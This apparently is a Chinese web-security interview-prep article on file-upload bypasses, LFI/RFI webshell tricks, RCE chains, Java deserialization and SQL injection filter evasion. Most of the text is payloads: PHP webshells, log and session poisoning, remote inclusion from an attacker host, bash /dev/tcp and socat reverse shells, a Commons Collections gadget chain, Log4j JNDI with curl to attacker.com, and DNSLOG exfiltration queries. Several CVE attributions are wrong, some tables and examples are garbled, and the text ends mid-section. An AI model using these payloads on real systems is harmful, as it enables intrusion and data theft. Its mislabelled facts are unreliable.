Web 漏洞面试题深度拆解:从漏洞成因到实战
深入探讨文件上传绕过、LFI/RFI拿shell、RCE利用链及XSS高级攻击手法,覆盖渗透测试核心场景与防御绕过技术。
文件上传
文件上传靶场操作可以看这篇文章
pikachu+xss+ssti-labs汇总 - Sky's Blog
绕过手法
客户端js绕过
只在前端检查文件类型
绕过方法
禁用JavaScript:在浏览器中禁用JavaScript,或者在BurpSuite中修改文件名后缀
抓包修改文件名:正常上传一个合法的图片文件(1.jpg),然后使用 Burp Suite 拦截数据包,将文件名修改为 1.php。由于服务器后端没有进行二次验证,就会直接上传成功
MIME类型绕过
服务器有时会通过检查 HTTP 请求头中的 Content-Type 字段来验证文件类型。例如,一个图片的 Content-Type 通常是 image/jpeg 或 image/png
绕过方法
修改 Content-Type: 攻击者可以上传一个 webshell.php 文件,同时在抓包工具中将 Content-Type 字段从 application/octet-stream(默认值)修改为 image/jpeg。如果后端只依赖这个字段进行判断,恶意文件就会上传成功
文件头内容检测绕过(魔术字节)
“图片马”: 攻击者可以将恶意代码嵌入到图片文件中,制作成一个“图片马”
可以用画图画一个最小的图片
常的图片(1.jpg)和一个包含恶意代码的文本文件(shell.php),内容为 <?php eval($_POST['cmd']);?>
copy 1.jpg/b + shell.php/a webshell.jpg利用
上传 webshell.jpg 文件。如果服务器检查了文件头,但没有检查文件内容,就会上传成功。
然后,攻击者需要找到一种方法来解析这个图片文件,使其作为 PHP 代码执行。这通常需要结合 文件包含漏洞(LFI) 来实现,例如 include('webshell.jpg'),或者一些服务器配置错误(如 Apache 的 .htaccess 配置)
文件名、路径绕过
服务器通常会有一份黑名单或白名单来限制可上传的文件扩展名。黑名单会阻止 .php, .asp, .jsp 等脚本文件,而白名单只允许 .jpg, .png, .gif 等图片文件
a. 黑名单绕过
大小写绕过: shell.Php、shell.pHP 等
文件后缀名加空格或点: 在 Windows IIS 服务器上,文件名末尾的空格或点会被自动去除shell.php (空格)shell.php.(点)
双重扩展名: 某些服务器只检查最后一个扩展名shell.php.jpg:上传后,如果服务器处理不当,可能会被当做 shell.php 来执行。
特殊字符绕过: 利用一些特殊字符,如 shell.php%00.jpg(00 截断)
00截断: 在 PHP 5.3 之前,PHP 的 move_uploaded_file() 函数在处理文件名时,遇到 0x00 字节会截断后面的内容。攻击者可以在文件名中注入 %00,如 shell.php%00.jpg,上传时,服务器只检查 .jpg,但实际保存的文件名是 shell.php
b. 白名单绕过
服务器解析漏洞:
Apache: 如果服务器配置了 AddHandler php5-script .jpg,那么所有 .jpg 文件都会被当作 PHP 脚本来解析
IIS 6.0: 目录解析漏洞,例如 /xx.asp/shell.jpg。服务器会把 shell.jpg 当作 ASP 脚本执行
IIS 7.0/7.5: web.config 配置文件解析漏洞。攻击者可以上传一个恶意的 web.config 文件来改变目录的解析规则
竞争条件(Race Condition):
一些服务器在处理文件上传时,会先将文件临时保存,然后进行安全检查,最后再重命名或移动到目标目录
利用方法: 攻击者可以利用这个时间差,在文件被检查并删除之前,迅速访问该文件
步骤:
上传一个包含恶意代码的脚本文件(如 shell.php),其中恶意代码会创建一个新的 Webshell 文件
在文件上传成功后,但在服务器删除它之前,通过一个脚本循环快速访问该文件
恶意脚本被执行,并创建一个新的、无法被删除的 Webshell 文件
文件包含
协议
本地文件包含LFI协议
file://
它允许你直接引用本地文件系统中的文件
/vuln.php?file=file:///etc/passwd如果 Web 应用没有对路径进行充分过滤,攻击者可以利用 ../ 来遍历目录,从而访问到 Web 根目录以外的敏感文件
远程文件包含协议
远程文件包含通常出现在php中,当allow_url_include和allow_url_fopen配置都开启时,web应用可以包含远程服务器上的文件
在开发为啥要开启allow_url_include和allow_url_fopen?
配置项 | 核心作用 | 默认值(PHP) |
| 允许 PHP 的文件操作函数(如 | On(开启) |
| 允许 | Off(关闭) |
|
- 测试文件包含逻辑:如果项目有 “合法的远程包含” 需求(极少见,比如多服务器共享通用配置文件),开发时需要验证该逻辑是否正常,开启后可直接测试
include("http://dev-server/common.php"); - 调试漏洞 / 安全测试:如果是安全相关的开发(如 Web 安全工具、漏洞扫描器),需要测试 “远程文件包含(RFI)” 漏洞的触发条件,必须开启该配置才能复现场景
php://filter
对包含文件进行过滤操作,比如编码或解码。读取PHP文件的源码,因为源码中可能包含数据库凭证等信息
如果读取sql密码后,就可以用sql拿shell
/vuln.php?file=php://filter/read=convert.base64-encode/resource=index.phpphp://input
直接从 POST 请求的请求体中读取数据,并作为文件内容进行执行。当文件包含漏洞的参数无法直接在 URL 中写入恶意代码时,这是一个非常有用的绕过方法
在 POST 请求中,发送数据<?php system($_GET['cmd']); ?>,同时访问http://example.com/vuln.php?file=php://input
data://
协议可以让我们在 URL 中直接嵌入数据,并作为文件内容执行。这在某些情况下可以绕过一些过滤规则,因为它不依赖于外部文件
在 URL 中直接执行恶意代码
http://example.com/vuln.php?file=data://text/plain,<?php%20system('id');%20?>如果 Web 应用对 URL 中的特殊字符进行过滤,这种方式可能会失效
phar://
这个协议常用于反序列化攻击,尤其是在 PHAR 归档文件中。攻击者可以创建一个恶意的 PHAR 文件,并在其中嵌入恶意代码或反序列化对象,当服务器通过文件包含加载这个文件时,就会触发反序列化操作
利用 PHP 反序列化漏洞,执行任意命令
http://example.com/vuln.php?file=phar:///path/to/archive.phar这种攻击方式通常需要配合一个反序列化漏洞才能成功
此外还可以上传phar文件,phar文件可以改成任意文件后缀,且不受影响解析
[伪协议](PHP伪协议 - A5trid - 博客园)
怎么拿shell?
本地文件LFI包含怎么拿shell
本地文件包含的拿shell方法通常需要结合其他漏洞或技巧。
攻击者无法直接包含一个远程 Webshell,但可以通过多种方式将恶意代码注入到服务器上的某个文件中,然后利用LFI漏洞包含该文件,从而执行恶意代码
日志文件 Getshell
这是 LFI Getshell 最经典且常用的方法之一。许多 Web 服务器(如Apache、Nginx)会将访问请求记录在日志文件中(如access.log 或 error.log)
利用
通过一个特制的 HTTP 请求,将恶意代码(如Webshell 代码)注入到服务器的日志文件中。例如再 URL 中加入或在 User-Agent 字段中写入 Webshell 代码:
<?php eval($_GET['cmd']);?>完整的 HTTP 请求可能看起来像这样:
GET /?page=test.php HTTP/1.1
Host: example.com
User-Agent: <?php system('whoami');?>这样,服务器的 access.log 文件中就会记录下这段恶意代码
包含日志文件:利用 LFI 漏洞,通过文件包含参数(如 page 或 file),包含日志文件
http://example.com/index.php?file=../../../../var/log/apache2/access.log当服务器执行这个请求时,它会把日志文件的内容当作 PHP 代码来执行,从而执行了我们注入的system('whoami'); 命令
获取 Webshell:如果注入的是一个完整的 Webshell,现在就可以通过参数来执行任意命令了
http://example.com/index.php?file=../../../../var/log/apache2/access.log&cmd=ls -alSession 文件 拿shell
某些web应用会将用户的seesion信息保存在服务器的/tmp/目录下的文件中,文件命名 7通常为sess_PHPSESSID
如果攻击者可以控制Session数据,就能通过LFI 包含该文件getshell
利用
设置 Session 值:通过 $_SESSION 变量,将恶意代码注入到 Session 中。这通常需要先找到一个可以控制Session 值的参数,例如在登录或注册时
$_SESSION['username'] = "<?php eval($_POST['cmd']);?>";获取 Session 文件路径:通常 Session 文件的命名是 sess_ 加上 Session ID。可以通过浏览器 Cookies 中的PHPSESSID 来获取
http://example.com/index.php?file=../../../../tmp/sess_f32921a92a5436687e9544485304a9d7 执行恶意代码:当 LFI 漏洞包含该 Session 文件时,恶意代码被执行
/proc/self/environ 拿shell
在 Linux 系统中,/proc/self/environ 文件存储了当前进程的环境变量。攻击者可以通过设置 User-Agent 等环境变量,将恶意代码注入到该文件中,然后利用 LFI 漏洞包含它
利用步骤:
设置 User-Agent:发送一个带有恶意 User-Agent 的请求
GET /index.php?page=test.php HTTP/1.1
Host: example.com
User-Agent: <?php system('whoami');?>包含环境变量文件:
http://example.com/index.php?file=../../../../proc/self/environ执行恶意代码:成功包含后,恶意代码即被执行
远程文件包含 (RFI) Getshell
RFI 通常比 LFI 更容易利用,因为它允许攻击者直接从自己的服务器上包含并执行恶意文件
利用步骤:
制作 Webshell 文件:在攻击者自己的服务器上创建一个 Webshell 文件,例如 shell.txt,内容如下:
<?php eval($_POST['cmd']);?>为了绕过一些过滤,文件名可以不使用 .php 后缀,例如 shell.txt 或 shell.jpg
启动 HTTP 服务:在攻击者的服务器上(如Kali Linux),使用 Python 启动一个简单的 HTTP 服务来托管shell.txt:
python3 -m http.server 80 远程文件包含:利用 RFI 漏洞,将 URL 指向攻击者的服务器,包含 shell.txt
http://example.com/index.php?file=http://attacker-ip/shell.txt注意:为了防止服务器对 URL 进行过滤,有时需要使用编码、伪协议(如 data://)等技巧
连接 Webshell:如果成功,shell.txt 中的 Webshell 代码已经被执行。现在就可以使用工具(如 Postman、Burp Suite)或直接在 URL 中 POST 数据来执行命令了
POST /index.php?file=http://attacker-ip/shell.txt HTTP/1.1
Host: example.com
Content-Type: application/x-www-form-urlencoded
cmd=ls -al RCE
简介
rce就是命令执行和代码执行
为什么会rce产生,像ssti,sql,xxe,反序列化,文件上传,框架 / 解析器漏洞类,配置 / 权限错误类等等漏洞,对用户输入未作严格过滤都可能有rce漏洞
rce是危害最大的漏洞!!!
为什么会造成rce?
核心原理是应用程序未对用户输入进行严格过滤,将用户可控输入直接拼接进系统命令执行函数(如system、exec),导致攻击者注入的恶意命令被系统执行。 例如:应用程序通过system("ping " + $_GET['ip'])执行 ping 命令,若用户输入127.0.0.1;ls,则拼接后命令变为ping 127.0.0.1;ls,其中;ls会被作为新命令执行,最终执行ls查看文件。
不同服务器的命令执行区别不同可以看Linux与Windows命令对比_windows与linux命令差异一览表-CSDN博客
代码执行命令执行区别
远程代码执行远程命令执行的区别?
对比维度 | 远程命令执行(Command Execution) | 远程代码执行(Code Execution) | |
执行层面 | 操作系统层(Shell) | 编程语言解释器层 | |
依赖环境 | 依赖系统 Shell(bash/cmd.exe/PowerShell) | 依赖编程语言解释器(PHP/Python/Java虚拟机) | |
执行对象 | 系统命令(ls、whoami、netstat) | 编程语言代码(phpinfo()、print()、eval()) | |
权限继承 | 直接继承 Web 服务进程的系统权限 | 先继承解释器权限,执行命令时再继承系统权限 | |
典型危险函数(PHP) | system()、exec()、passthru()、shell_exec() | eval()、assert()、preg_replace(/e模式) | |
典型危险函数(Python) | os.system()、subprocess.call() | exec()、eval()、execfile() | |
绕过重点 | 绕过分隔符(;、&、 | )、命令关键字过滤 | 绕过函数禁用、代码语法过滤、沙箱限制 |
覆盖范围 | 仅能执行系统命令,能力有限 | 可执行代码+调用系统命令,覆盖更广 |
怎么利用其他漏洞去rce
sql怎么去RCE?
MySQL root 权限下调用sys_exec();
Payload:select sys_exec('ls /etc');(需安装lib_mysqludf_sys插件)
ssti怎么去rce?
漏洞代码:return render_template_string("Hello " + name);
Payload:{{ __import__('os').popen('ls').read() }}。
xxe怎么去rce?
Java 解析 XML 时允许外部实体,且系统支持expect协议;
Payload:<!ENTITY xxe SYSTEM "expect://id">(执行id命令)。
框架 / 解析器漏洞类怎么RCE?
漏洞类型 | 触发原因 | 典型场景 / 例子 |
模板引擎漏洞(如 Freemarker) | 框架自身的语法 / 函数设计缺陷,允许执行代码 | - 场景:FreeMarker 模板中调用危险函数; |
服务器解析漏洞(结合文件上传) | 服务器对文件后缀 / 内容的解析规则缺陷,导致上传的脚本被执行 | - 场景:Apache 解析漏洞( |
脚本引擎漏洞(如 PHP/Java) | 解释器自身的内存溢出 / 逻辑漏洞,触发后执行任意代码(0day/1day) | - 例子:PHP 7.4.x 代码执行漏洞(CVE-2021-41773)、Java 反序列化漏洞(CVE-2017-10271)。 |
反序列化
漏洞类型 | 触发原因 | 典型场景 / 例子 |
PHP 反序列化 |
| - 场景:用户输入被直接传入 |
Java 反序列化 | 反序列化恶意对象,触发链调用执行命令(如 Commons Collections 漏洞) | - Payload:利用 CC 链构造的序列化数据,触发 |
Python 反序列化 |
| - 漏洞代码: |
文件上传
漏洞类型 | 触发原因 | 典型场景 / 例子 |
文件上传漏洞 | 上传恶意脚本文件(如 PHP/ASPX),且文件能被服务器解析 | - 场景:上传 |
文件包含漏洞(LFI/RFI) | 包含本地 / 远程恶意脚本文件,触发代码执行 | - 本地包含(LFI): |
路径遍历 + 文件写入 | 写入恶意脚本到 Web 目录,再通过访问文件执行 | - 场景: |
配置 / 权限错误类
漏洞类型 | 触发原因 | 典型场景 / 例子 |
弱口令 / 未授权访问 | 登录后台后可执行代码(如后台有 “代码执行” 功能、“命令行” 工具) | - 场景:Tomcat 弱口令登录后台,部署 war 包执行代码; |
危险配置开启 | 框架 / 服务器开启危险功能,允许执行代码 | - 场景:PHP 开启 |
容器 / 云服务配置错误 | Docker/K8s/S3 存储桶配置不当,导致执行恶意代码 | - 场景:Docker API 未授权访问,创建容器并挂载主机目录执行命令; |
代码执行的函数有什么?
代码执行的函数有哪些?
代码执行函数指直接将输入作为代码解析执行的函数,分语言举例:
- PHP:
eval()、assert()、preg_replace()(带/e修饰符)、array_map ()、create_function()、call_user_func () - Python:
exec()、eval() - Java:
ScriptEngine.eval()(如 Rhino 引擎)、Runtime.exec()(间接执行字节码) - JavaScript:
eval()
命令执行的函数有哪些?
命令执行函数指直接调用操作系统命令的函数,分语言 / 场景举例:
- PHP:
system()、exec()、shell_exec()、passthru()、popen()、proc_open() - Python:
os.system()、os.popen()、subprocess.call()、subprocess.Popen() - Java:
Runtime.getRuntime().exec() - 系统层面:Linux 的
system()、Windows 的CreateProcess()
php 能远程执行的函数有什么?
PHP 中可用于远程执行(代码 / 命令)的函数主要包括:
- 代码执行:
eval()、assert()(5.4 前)、create_function()、preg_replace('/pattern/e', ...)(PHP 7.0 前)、call_user_func()(动态调用执行函数)。 - 命令执行:
system()、exec()、shell_exec()、passthru()、popen()、proc_open()。 - 间接执行:
include()/require()(远程包含文件时执行代码,需allow_url_include=On)。
RCE 漏洞有什么危害、利用方式及防御措施?
- 危害: 攻击者可完全控制目标系统(如读取 / 篡改文件、窃取数据)、横向渗透内网、植入恶意程序(如勒索软件,挖矿)、瘫痪服务等,是最高危漏洞之一。
- 利用方式: 直接执行命令(如
ls、whoami)获取信息;写入 webshell 持久化控制;通过命令提权(如sudo、内核漏洞)获取更高权限;下载恶意文件(如wget)扩大影响。 - 防御措施:
- 输入严格过滤:用白名单限制允许的字符 / 命令,禁止特殊符号(如
;、|、&)。 - 避免直接拼接执行:使用安全 API(如参数化调用,避免
system("cmd " + input))。 - 最小权限运行:应用程序以低权限用户(如 www-data)运行,限制文件 / 系统访问权限。
- 禁用危险函数:通过
php.ini的disable_functions禁用eval、system等。
通过RCE怎么去拿shell?
写马
linux
echo '<?php @eval($_POST["cmd"]);?>' > /var/www/html/shell.phpwindows
注意特殊转义符号
echo ^<?php @eval($_POST["cmd"]);?^> > C:\www\shell.phpcat如何绕WAF?
读文件命令替换
cat
more:一页一页的显示档案内容
less:与 more 类似
head:查看头几行
tac:从最后一行开始显示,可以看出 tac 是 cat 的反向显示
tail:查看尾几行
nl:显示的时候,顺便输出行号
od:以二进制的方式读取档案内容
od -c:八进制显示
vi:一种编辑器,这个也可以查看
vim:一种编辑器,这个也可以查看
sort:可以查看
uniq:可以查看
file -f:报错出具体内容
sh /flag 2>%261 //报错出文件内容
curl file:///root/f/flag
strings flag
uniq -c flag
bash -v flag
rev flag绕 php.ini 中 disable_function 的限制?有哪些方法?其中成功率最高的是哪个?为什么?
LD_PRELOAD 劫持(Linux):上传自定义共享库(.so 文件),通过putenv("LD_PRELOAD=/tmp/evil.so")预加载,劫持system等函数实现命令执行。
PHP 扩展漏洞:利用imap、gd等扩展的漏洞(如imap_open的命令注入)绕过限制。
FFI 扩展:若启用FFI(Foreign Function Interface),可直接调用系统函数执行命令。
Windows COM 组件:在 Windows 系统中,通过COM("WScript.Shell")调用系统命令。
成功率最高的是 LD_PRELOAD 劫持: 原因:兼容性强(适用于大多数 Linux 系统),无需依赖特定 PHP 扩展(仅需putenv和mail等未被禁用的函数),且实现逻辑简单(通过动态链接库劫持系统函数),对环境要求低,因此实际场景中成功率最高。
面试篇
代码执行、命令执行的函数有哪些?
前面写了,这里就不赘述了
正向 Shell 和反向 Shell 区别?
- 正向 Shell(目标机执行):
nc -lvp 8888 -e /bin/bash(目标绑定 8888 端口,执行 bash)
攻击者执行:nc 目标IP 8888→ 获取 Shell。 - 反向 Shell(目标机执行):
攻击者先监听:nc -lvp 8888
目标机执行:bash -i >& /dev/tcp/攻击者IP/8888 0>&1→ 主动连攻击者,交出 Shell。
如何从非交互的 Shell 提升为交互 Shell?
Windows系统
法一:python提交互
# 目标机执行(需安装Python)
python -c 'import pty; pty.spawn("/bin/bash")'
# 进阶:设置TERM环境变量,补全更友好
python -c 'import pty; pty.spawn("/bin/bash")'
export TERM=xterm
stty raw -echo; fg # 回车后即可交互法二:script命令
script /dev/null -c bash # /dev/null模拟终端,-c执行bash法三:socat提权
socat 提权(稳定性最高)
攻击者端:
socat file:tty,raw,echo=0 tcp-listen:8888目标端:
socat exec:'bash -li',pty,stderr,setsid,sigint,sane tcp:攻击者IP:8888法四:利用msfconsole提权
# 攻击者端(msf)
msfconsole
use exploit/multi/script/web_delivery
set PAYLOAD python/meterpreter/reverse_tcp
set LHOST 你的IP
set LPORT 8888
run
# 目标端执行生成的Python命令,获取meterpreter交互ShellLinux系统
PHP disable_functions() 绕过方法?
PHP 的 %00 截断的原理
站库分离怎么拿 Shell
java-rce篇
Java反序列化漏洞导致RCE的核心原理,并以Apache Commons Collections 3.x为例,描述攻击链的构造过程(需包含关键类和方法)
环境:Apache Commons Collections 3.x 框架
Transformer[] transformers = new Transformer[]{
// 第1个Transformer:返回固定常量 → Runtime.class(Runtime类的Class对象)
new ConstantTransformer(Runtime.class),
// 第2个Transformer:反射调用Runtime.class.getMethod("getRuntime", null)
// 参数说明:
// "getMethod" → 要调用的方法名;
// new Class[]{String.class, Class[].class} → getMethod的参数类型(方法名+参数类型数组);
// new Object[]{"getRuntime", null} → getMethod的参数值(获取getRuntime()方法,无参数);
new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}),
// 第3个Transformer:反射调用上面得到的Method.invoke(null, null)
// 作用:执行getRuntime()方法(静态方法,第一个参数为null),得到Runtime实例;
new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}),
// 第4个Transformer:反射调用Runtime实例.exec("calc.exe"),执行系统命令;
new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc.exe"})
};防御:升级到Commons Collections 4.0+,或使用SerialKiller等反序列化过滤器
在Spring框架中,如何通过SpEL(Spring Expression Language)注入实现RCE?请结合CVE-2022-22963漏洞说明利用条件及Payload构造。
- 漏洞背景:Spring Cloud Gateway在3.1.0及以下版本中,未对
X-Forwarded-Prefix头进行过滤,导致SpEL表达式注入。 - 利用条件:目标启用Actuator API且路由配置允许动态修改。
payload构造
POST /actuator/gateway/routes/test_route HTTP/1.1
{
"predicates": [{
"name": "Path",
"args": {"_genkey_0":"/test_route"}
}],
"filters": [{
"name": "AddResponseHeader",
"args": {
"name": "X-Response",
"value": "#{new String(T(org.springframework.util.StreamUtils).copyToByteArray(T(java.lang.Runtime).getRuntime().exec('id').getInputStream()))}"
}
}]
}- 触发执行:访问
/actuator/gateway/refresh刷新配置后,请求/test_route触发表达式解析。 - 修复:升级到3.1.1+,禁用动态路由或过滤危险Header。
假设目标系统对用户输入的RCE Payload进行了黑名单过滤(如禁止Runtime、ProcessBuilder等关键词),请列举三种绕过方式并举例说明。
反射调用:通过反射获取Runtime类:
Class<?> clazz = Class.forName("java.lang." + "Runtime");
clazz.getMethod("exec", String.class).invoke(clazz.getMethod("getRuntime").invoke(null), "calc");Unicode/Hex编码:
// u0020 表示空格,绕过字符串检测
String cmd = "cu" + "u0020" + "rl example.com";利用其他危险类:如ScriptEngine执行JS代码:
new javax.script.ScriptEngineManager()
.getEngineByName("JavaScript")
.eval("java.lang.Runtime.getRuntime().exec('calc')");如何通过静态分析工具(如CodeQL)挖掘Java应用中潜在的RCE反序列化链?请描述关键分析步骤。
识别危险方法:定义Sink点(如Runtime.exec()、Method.invoke())。
追踪数据流:从反序列化入口(ObjectInputStream.readObject())到Sink点的数据流路径。
识别Gadget链:查找可连接Sink与Source的调用链(如readObject() → Transformer.transform() → InvokerTransformer)。
过滤无害调用:排除无参数传递或不可控的路径。
验证利用可行性:检查类是否可实例化、方法是否公开等。
- 示例CodeQL查询:
from Callable source, Callable sink
where source.getAParameter().getType().hasName("ObjectInputStream")
and sink.hasName("exec")
and exists(DataFlow::path(source, sink))
select sink, source如何绕过Java Security Manager的沙箱限制实现RCE?请举例说明。
漏洞场景:若策略文件配置错误(如允许createClassLoader权限)。
绕过方式:
定义恶意类加载器:通过自定义ClassLoader加载并执行字节码。
利用JNI本地库:调用JNI方法执行本地代码(需loadLibrary权限)。
反射修改Policy:通过反射修改Policy对象,动态添加权限:
Field policyField = Policy.class.getDeclaredField("policy");
policyField.setAccessible(true);
Policy policy = (Policy) policyField.get(null);
// 添加AllPermission到策略Log4j2的JNDI注入漏洞(CVE-2021-44228)如何导致RCE?请说明攻击流程及防御方案。
攻击流程:
攻击者在日志中注入${jndi:ldap://attacker.com/Exploit}。
Log4j2解析日志时触发JNDI请求,从恶意服务器加载远程类。
恶意类(如Exploit.class)的静态代码块中执行Runtime.getRuntime().exec("curl attacker.com/shell")。
防御:
升级到Log4j 2.17.0+,默认禁用JNDI查找。
设置环境变量LOG4J_FORMAT_MSG_NO_LOOKUPS=true。
使用WAF过滤${jndi:等关键字。
SQL注入
WAF绕过
post和get都做了防注入,用什么方法绕
许多 Web 应用程序不仅处理 POST 和 GET 数据,还会依赖于 HTTP 请求头中的信息。如果这些头信息没有经过严格的过滤,就可能成为注入点
- User-Agent: 很多网站会记录访问者的 User-Agent 信息。如果后台程序直接将 User-Agent 拼接到 SQL 查询中,就可能存在注入
- X-Forwarded-For: 这个头通常用于获取用户的真实 IP 地址。当网站部署了负载均衡或 CDN 时,它会记录用户的原始 IP。同样,如果处理不当,也可能成为注入点
- Cookie: 网站通常会使用 Cookie 来存储会话信息或其他用户数据。如果 Cookie 中的某个值直接参与了 SQL 查询,就可能被利用
- Referer: 网站会记录用户是从哪个页面跳转过来的。如果这个信息直接被用于查询,同样存在风险
绕过方式: 以 User-Agent 为例,你可以使用 Burp Suite 或其他抓包工具,在请求头中修改 User-Agent 的值,构造 SQL 注入 Payload。 例如:User-Agent: ' OR 1=1--
单引号过滤绕过
双引号
十六进制
完整 URL 注入: id=0x27206f7220313d31202d2d20
最终执行的 SQL: SELECT * FROM users WHERE id = 'or 1=1 -- '
宽字节
%dfSELECT * FROM users WHERE id = '1運''... ('運' 是一个汉字) 后面的 ' 就成为我们控制的单引号
反斜线 \ 绕过addslashes
在某些情况下,如果后端代码没有过滤反斜线,你可以通过注入一个反斜线来“吃掉” addslashes 自动添加的反斜线
原始查询: SELECT * FROM users WHERE id = '...注入点...'
注入尝试: id=1\'
服务器端处理:
- PHP 的
addslashes()函数收到1' - 它在
'前面加上\,变成1\' - 如果前端的输入是
1\',addslashes会将\'变为\\'
这个方法需要深入理解后端如何处理输入。如果后端代码只对单引号进行了转义,而没有对反斜线进行处理,你就可以用一个反斜线来闭合它
char()函数绕过
char() 函数可以将数字转换为字符。你可以利用这个函数来构造单引号
注入尝试: id=1 and 1=1 and (select char(39)) id=1 union select 1,2,3 from users where username=char(39)adminchar(39)
使用like语句绕过
在某些盲注场景下,如果无法使用单引号,可以尝试使用 like 语句来代替 union 或 and
注入尝试: id=1 and 1 like 1 and 1=1 -- id=1 and 1 like database()
这种方法适用于特定的 SQL 语句结构,但并非万能
盲注过滤if绕过手法
1. 利用 CASE WHEN 语句CASE WHEN 语句是 SQL 中最常见的条件判断表达式,其功能与 IF() 函数非常相似,且通常不会被安全设备过滤
- 语法:
CASE WHEN [condition] THEN [value1] ELSE [value2] END - 布尔盲注绕过:
SELECT * FROM users WHERE id = 1 AND CASE WHEN (1=1) THEN 1 ELSE 2 END = 1 - 时间盲注绕过:
SELECT * FROM users WHERE id = 1 AND CASE WHEN (SUBSTRING(database(),1,1) = 'd') THEN SLEEP(5) ELSE 0 END
2. 利用 UNION + 错误信息
当 IF() 被过滤,但 UNION 和错误信息回显没有被完全禁用时,我们可以利用 UNION 来触发自定义的错误信息,从而进行布尔盲注
- 原理: 通过
UNION将一个错误的查询结果与正常的查询结果合并,当错误的查询语句执行时,数据库会返回错误信息,其中可能包含我们想要的数据 - 绕过方式:
SELECT * FROM users WHERE id = -1 UNION SELECT 1, 2, 3 FROM DUAL WHERE (1=2) OR (1=1) UNION SELECT 1, 2, 3 FROM (SELECT 1 UNION SELECT 2 UNION SELECT 3)a这个方法需要根据具体情况进行调整,利用数据库的语法错误或类型转换错误来触发自定义的错误信息
3. 利用位运算和 LIKE 语句
当数据库不支持 IF() 或 CASE 语句时,我们可以利用逻辑运算和位运算来逐位判断数据
- 原理:
LIKE语句可以用于模糊匹配,我们可以将它和数据库中的数据结合起来,逐个字符地猜解 - 绕过方式:
SELECT * FROM users WHERE id = 1 AND username LIKE 'a%'如果该查询返回结果,则说明username的第一个字符是 'a'。我们可以通过不断改变%前的字符来逐个猜解数据
4. 利用 benchmark() 函数
在 MySQL 中,benchmark() 函数可以用来执行指定的函数多次,从而消耗大量时间。这可以用来替代 SLEEP() 函数进行时间盲注
- 原理:
BENCHMARK(count, expr)会重复执行expr表达式count次。如果expr包含一个耗时的操作,我们可以根据执行时间来判断条件是否成立 - 绕过方式:
SELECT * FROM users WHERE id = 1 AND BENCHMARK(10000000, MD5(1)) AND (SUBSTRING(database(),1,1) = 'd')
如果条件 (SUBSTRING(database(),1,1) = 'd') 成立,BENCHMARK 函数就会被执行,页面响应会变慢。否则,页面会立即响应
5. 利用 get_lock() 函数
在 MySQL 中,GET_LOCK() 函数可以用于获取一个全局锁,如果锁已被其他会话占用,该函数会等待直到锁被释放或超时
- 原理: 我们可以利用
GET_LOCK()函数设置一个长达数秒的锁,从而实现时间盲注的效果 - 绕过方式:
SELECT * FROM users WHERE id = 1 AND IF((SUBSTRING(database(),1,1)='d'), GET_LOCK('hack', 5), 0)
如果条件成立,GET_LOCK会被执行,页面会等待 5 秒
6. 利用 ELT() 函数ELT() 函数是 MySQL 中的一个字符串函数,它可以根据索引返回列表中的一个字符串
- 原理:
ELT(N, str1, str2, ...)返回第 N 个字符串。我们可以将它与条件判断结合,实现布尔盲注 - 绕过方式:
SELECT * FROM users WHERE id = 1 AND ELT(1, 'false', 'true')如果条件为真,ELT会返回true,否则返回false
and和or被过滤怎么绕过
&&和||
&&和||和功能一样的
利用!、<>、not 等操作符
and的替代:if not (a=1) then ...等价于if a<>1 then ...- 我们可以利用
not或<>来否定条件,从而实现and的效果 - 例如:
username=admin' or not ('1'='1' and '1'='2')这句可以被改写为username=admin' or not (1=1),这在逻辑上是错误的,我们可以利用它来测试 - 更具体的绕过:
id=1 and 1=2可以被改写为id=1 or not 1=1,这在布尔盲注中可以用来判断
利用union select进行盲注
当布尔条件失效时,可以尝试使用 union select 来进行盲注
- 原理:
- 正常情况下,
union select需要前后两个查询的列数一致 - 我们可以利用这一点,通过
union select来注入一个不存在的列,从而触发数据库的报错,通过报错信息来判断 - 绕过方式:
- 首先,使用
union探测列数。id=1 union select 1,2,3... - 然后,利用列数来进行盲注。
id=-1 union select 1, 2, user() like 'root%'如果页面正常回显,则说明user()以root开头。通过这种方式,可以逐字逐句地猜解数据
利用if()函数的替代品
在布尔盲注中,if() 函数通常是不可或缺的。如果它和 and or 一起被过滤,那么需要寻找替代函数
case when ... then ... end: 这是if()函数最常见的替代品,功能完全一样,且通常不会被过滤- 例如:
id=1 and (case when 1=1 then sleep(5) else 0 end) - 绕过:
id=1 or (case when (database() like 'd%') then sleep(5) else 0 end) greatest()和least(): 这两个函数返回一组值中的最大值和最小值。我们可以利用它们来构造条件判断- 例如:
id=1 and greatest(1, (select if(1=1, 0, 1))) - 绕过:
id=1 or greatest(ascii(substr(database(),1,1)), 100)>100
利用其他查询特性
当所有常用方法都被过滤时,可以尝试利用一些非常规的查询特性having 子句: having 用于对 group by 的结果进行过滤。在一些情况下,having 后面可以接子查询,可以利用这一点进行注入limit offset: 我们可以通过 limit 和 offset 来逐行读取数据,再结合其他技术进行判断
SQL注入无回显利用DNSLOG如何构造
MySQL/MariaDB
load_file
在 MySQL 和 MariaDB 中,LOAD_FILE() 函数和 UNC 路径(Windows 共享路径)是触发 DNS 查询的常用手段
LOAD_FILE()
用于读取文件内容,如果给一个UNC路劲,他会触发DNS查询
payload
SELECT LOAD_FILE(CONCAT('\\\\',(SELECT DATABASE()),'.your-dnslog.com\\a'));
`SELECT DATABASE()`:获取当前数据库名
`CONCAT(...)`:将数据库名与你的 DNSlog 域名拼接成一个新的域名,例如 `testdb.your-dnslog.com`
`LOAD_FILE()`:尝试加载这个 UNC 路径,由于域名不存在本地,它会发起 DNS 查询
`\\a`:这是一个占位符,用于避免语法错误
dns_reverse()和benchmark()
需要 MySQL 5.7.10 或更高版本,且安装了 sys 模式
- Payload 构造:
SELECT BENCHMARK(1000000,MD5(CONCAT('a',(SELECT DATABASE())))) AND (SELECT sys.version_get_option('version') LIKE '%DNS%'); - 注意:这个方法主要是为了演示
sys库的功能,实际操作中LOAD_FILE更常见
SQL Server
在 SQL Server 中,我们可以利用 xp_cmdshell 或 sp_oacreate 来触发 DNS 查询
利用 xp_cmdshellxp_cmdshell 是一个强大的存储过程,可以执行系统命令。我们可以利用 ping 命令来触发 DNS 查询
- Payload 构造:
EXEC xp_cmdshell 'ping -n 1 ' + (SELECT TOP 1 CAST(name AS VARCHAR(255)) FROM sys.databases) + '.your-dnslog.com'; - 解释:
